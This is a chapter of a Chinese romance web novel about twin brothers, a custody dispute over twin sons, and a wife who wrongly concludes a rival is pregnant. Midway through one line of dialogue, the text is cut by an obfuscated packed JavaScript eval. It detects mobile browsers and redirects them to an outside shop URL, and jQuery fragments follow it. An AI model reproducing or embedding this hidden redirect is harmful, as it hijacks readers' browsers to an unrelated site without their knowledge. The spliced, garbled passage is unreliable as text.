酸辣粉又烫又麻,薛恩情嗦进去一口,腾不出嘴和许多甜说话。
许多甜下一句话就抛出来了,“这么闲,你不上班的吗?当真你是嫁了个富婆,能保住你下半辈子的荣华富贵了。”
话说到这儿,许多甜眼神好奇,表情八卦,对吃着酸辣粉的薛恩情问道:“你老婆是不是超级有钱?资产有多少?有这个数吗?”
许多甜比出一个五,示意五个亿。
终于把那口又麻又烫的酸辣粉吃下去,薛恩情咧着一张嘴,嘴角抽了抽,回答道:“这个煮酸辣粉的锅是我去楼下超市买的……”
许多甜已经问出好几句,他才答到第一句。
薛恩情端着碗走到放有纸巾盒的桌前,连抽两张纸擦去嘴边的油渍,说道:“公司最近不忙,我有的是时间守着你。”
许多甜联想到薛恩义前段时间说公司大裁员,他这个公司总经理的位置恐怕岌岌可危。
他话里透出的信息,公司不忙=公司要倒闭,难道他要失业了!
他如果失业,岂不是天天来剧组蹲守?为什么啊?凭什么啊?他不守着老婆和孩子,干嘛要缠着自己?!许多甜望着吃酸辣粉的薛恩义,她从未见过他如此接地气,还吃起了酸辣粉这种垃圾食品。
许多甜和他在一起时,他的餐标每顿最低三百块,上不封顶,他说他的工资全拿来吃了,每顿饭必须要好,要贵。
现在看见薛恩义吃酸辣粉,许多甜意识到经济环境真的不好了,连薛恩义都要吃酸辣粉了,那他真的可能要失业了。
那他们的两个孩子怎么办。
有一个富裕的后妈,有一个穷困的爸爸。
薛恩情自然而然把许多甜说的老婆,代入是他自己的老婆杨明初,他夹着纸擦去辣出的鼻涕,慢了好几个节奏,回应起许多甜的上一个问题。
“我老婆就是普通家庭,没钱。”
杨明初老家农村的,父母生了一堆女儿,只为拼生一个儿子,除她以外的女儿都送去经济条件不好的人家了,之所以留她,那是她打小就长得靓,寄予厚望凭美色长大会嫁个有钱男人,带领家人过上好日子,弟弟耀祖跟着沾光。
确实如她父母所料,先是当薛晚鸣的保姆,后来当薛怀昼的女朋友,最后被薛恩情娶了。
“没钱?那你在城堡举行那么豪华的婚礼,是你家族里那几个老古董出钱办的喽?”
薛恩情愣了下,想着许多甜是不知道薛恩义的真实身份,但他没想到薛恩义那家伙把资产也一并没让许多甜知晓,许多甜不知道薛恩义有多富。
“呃……”薛恩情不知道该怎么回答。
这话薛恩义没有提前和他对过,薛恩义如果向许多甜描述的是一个版本,他现在在许多甜面前又说成了另一个版本,那许多甜还以为薛恩义精神分裂。
许多甜:“既然你老婆没钱,你也可怜兮兮没钱,我和你商量个事,如何?”
薛恩义:“什么事?”
“没钱,抚养两个孩子也困难,不如把孩子抚养权给我,我现在赚得到钱了……”
“不行!”薛恩情连手里的酸辣粉都吃不下去了。
任何事都有商量的余地,唯独彰荣、彰茂的抚养权不可能给许多甜,这事商量不了。
彰荣、彰茂不仅是薛恩义的命,还是薛恩情的命,谁也不能夺走他的命,就算是彰荣、彰茂这两个孩子的亲生母亲许多甜也不行。
薛恩情有无精症,那是他和杨明初在结婚第二年备孕,始终没让杨明初怀上孩子后,他私下悄悄去医院得出的检查结果。
他不敢相信,去了多家医院检查,那些检查报告一致表明他有无精症。
不是弱精,是无精。
如果是弱精,他还有一线生机通过生殖辅助手段生儿育女,但他是无精,□□里没有存活的精子,这就意味着他的生育能力全无。
他不敢向杨明初坦白,瞒着这个深藏在心底里的秘密,就怕和杨明初说了,杨明初会伤心,也会在日后的相处里埋下隐患,假如杨明初想要孩子,那就会和他离婚,和别的男人在一起结婚生孩子。
这是薛恩情不能接受,他接受不了和杨明初离婚这个结局。
虽然隐瞒自己没有生育能力对杨明初很自私,剥夺了杨明初做母亲的权利,但薛恩情宁愿自己自私恶毒,也要换来与杨明初这辈子永远在一起。
好在他那个双胞胎弟弟薛恩义生育能力强盛,和许多甜恋爱怀上了双胞胎,平安诞下两个儿子,那两个可爱的儿子因为两人分手,薛恩义忙着另寻新欢而无暇照顾,交由了他和杨明初照顾。
这简直是上天赐予的宝贝,给了结婚多年未育的薛恩情、杨明初夫妇莫大慰藉。
可现在许多甜居然提出想把俩孩子要回去,薛恩情要不是看在这娘儿们是薛恩义现在的心头好,他真想一碗酸辣粉给泼她脸上。
真是脸皮够厚说得出来。
她生下孩子月子没坐满就和薛恩义分开,写好协议主动把两个孩子给薛恩义,现在被薛恩义砸钱砸资源捧红了,人就不知天高地厚,想要把两个孩子要走。
没门!
即使薛恩义同意,薛恩情都不同意。
“你要那两个孩子干嘛?你有时间带吗?你瞧瞧你这一天天拍戏,你见血犯晕连你自己都照顾不好,还能把孩子照顾得好?再说了,你不红时生八九十个孩子,人们只会祝福你胎胎生儿子,你现在红了,如果被拍到你带俩孩子,你让记者怎么写你,你让你的粉丝怎么看你,未婚生俩孩子的人设能在娱乐圈混着走,我叫你爹。”
薛恩情说的义愤填膺,连碗里剩的酸辣粉汤都不喝了,他把那碗酸辣粉汤往许多甜手里一塞,“拿去喝,你爹我,赏你了。”
薛恩情雄赳赳走向浴室,像一只刚打完胜仗的大公鸡。
许多甜低头看向碗里的酸辣汤,又看向薛恩情那只骄傲的大公鸡已走进浴室,关上了磨砂雾花的浴室玻璃门。
自己只是提了下孩子的抚养权,他的反应就这么大,怎么回事,许多甜感觉薛恩义真的像变了一个人,难不成真的被外星人占领了身体,夺走了灵魂?
-
薛恩义匆匆回国。
在机场与前来接机的石灯蔓碰上面。
薛恩义比原计划早半天回国,石灯蔓从他秘书那里得到了回国行程,早早来机场守候,他转机去舒城与薛恩情换班的行程作废。
石灯蔓在机场一见到薛恩义,挽着他手臂说有一个惊天大消息。
“什么惊天大消息,蔓蔓,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781041|207218||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么热的天你就该呆在家里,不用这么辛苦接机。”薛恩义摸上了石灯蔓的头发,柔润丝滑的手感没有让薛恩义久留。
他做了一下样子,就把手放下来了。
两人一边朝机场出口走,石灯蔓一边说:“这个惊天大消息,我本来想通过手机和你说,但我想了又想,觉得还是见面和你说,要最快见到你,和你面对面才足够震撼,我才来机场。”
“说吧,我洗耳恭听。”
“我去了舒城影视城《小青柠》的拍摄地,看见你哥和许多甜在一起,你哥绝对和许多甜有一腿。”
薛恩义瞳孔瞪大,停下了脚步。
一向病弱不爱出门的石灯蔓竟然去舒城找许多甜了!
“你也觉得很震惊是吗,阿狗。”石灯蔓跟着停下脚步,对震惊到缓不过神的薛恩义说道,“这还不是我要说的惊天大消息,你听好了,许多甜怀上了你哥的孩子。”
什么?怀上薛恩情的孩子?
这胡扯把薛恩义的震惊击碎,恢复了正常。
“蔓蔓,这话不兴乱说,你如何判断许多甜怀上了我哥的孩子?许多甜承认怀了我哥的孩子?还是你看见了产检单?”
“no。”石灯蔓手指摇晃,“我看见许多甜在呕吐,你哥在旁边敲背,陈姐也看见了,她能证明我没说谎。”
石灯蔓发出疑问,“你哥为什么要留在舒城?”
薛恩义心道那是他让他哥替自己监视许多甜,免得许多甜和金长平在一起。
“许多甜为什么会呕吐?”石灯蔓发出第二个疑问。
薛恩义心想废话,她呕吐肯定是身体不舒服。
石灯蔓自认智商涨到最高点,得出了结论,“你哥不回家,要留在舒城,就是照顾怀孕出现呕吐害喜的许多甜。”
这样的推演,在薛恩义眼里好比是精心计算1+1等于几,得出的答案却是3。
薛恩义再一次赞赏自己的眼光,这个傻老婆果然没有娶错,眼前的自己生出二心看不出,而认定远在舒城只爱一人的薛恩情出轨了。
假如许多甜有一天怀孕,那么她肚子里的孩子,亲生父亲只会是薛恩义,可薛恩义到现在都没碰到许多甜的身体,那么许多甜是不可能怀孕。
薛恩义没有反驳石灯蔓认为许多甜怀上了薛恩情孩子的结论,他东张西望,“蔓蔓,你一个人来的吗?陈姐没陪你身边?”
提起陈姐,石灯蔓从双眼兴奋变得些许的低落。
“哦,我把陈姐开除了。”
薛恩义:“为什么?陈姐做菜不算难吃,家务也收拾得利落。”
石灯蔓也不想开除陈姐,但不开除陈姐,石灯蔓的心疾就要犯了。
不就是提了一嘴让陈姐把许多甜拉去黑诊所打胎的事,陈姐的抗压能力耳屎那么小,石灯蔓在酒店睡了一觉醒来,陈姐已经连夜跑路到爪哇群岛。
石灯蔓打去视频电话询问怎么一回事。
一接通视频,陈姐的脸占了屏幕三分之二,她的脸后退,朝石灯蔓竖了一个中指,那个中指占了全屏幕。
陈姐的背后是碧云与绿色海水,海鸥高歌起舞,那些欧拉叫唤的海鸥似在嘲笑石灯蔓的愚蠢。
与其说是石灯蔓开除了陈姐,不如说是陈姐开除了石灯蔓。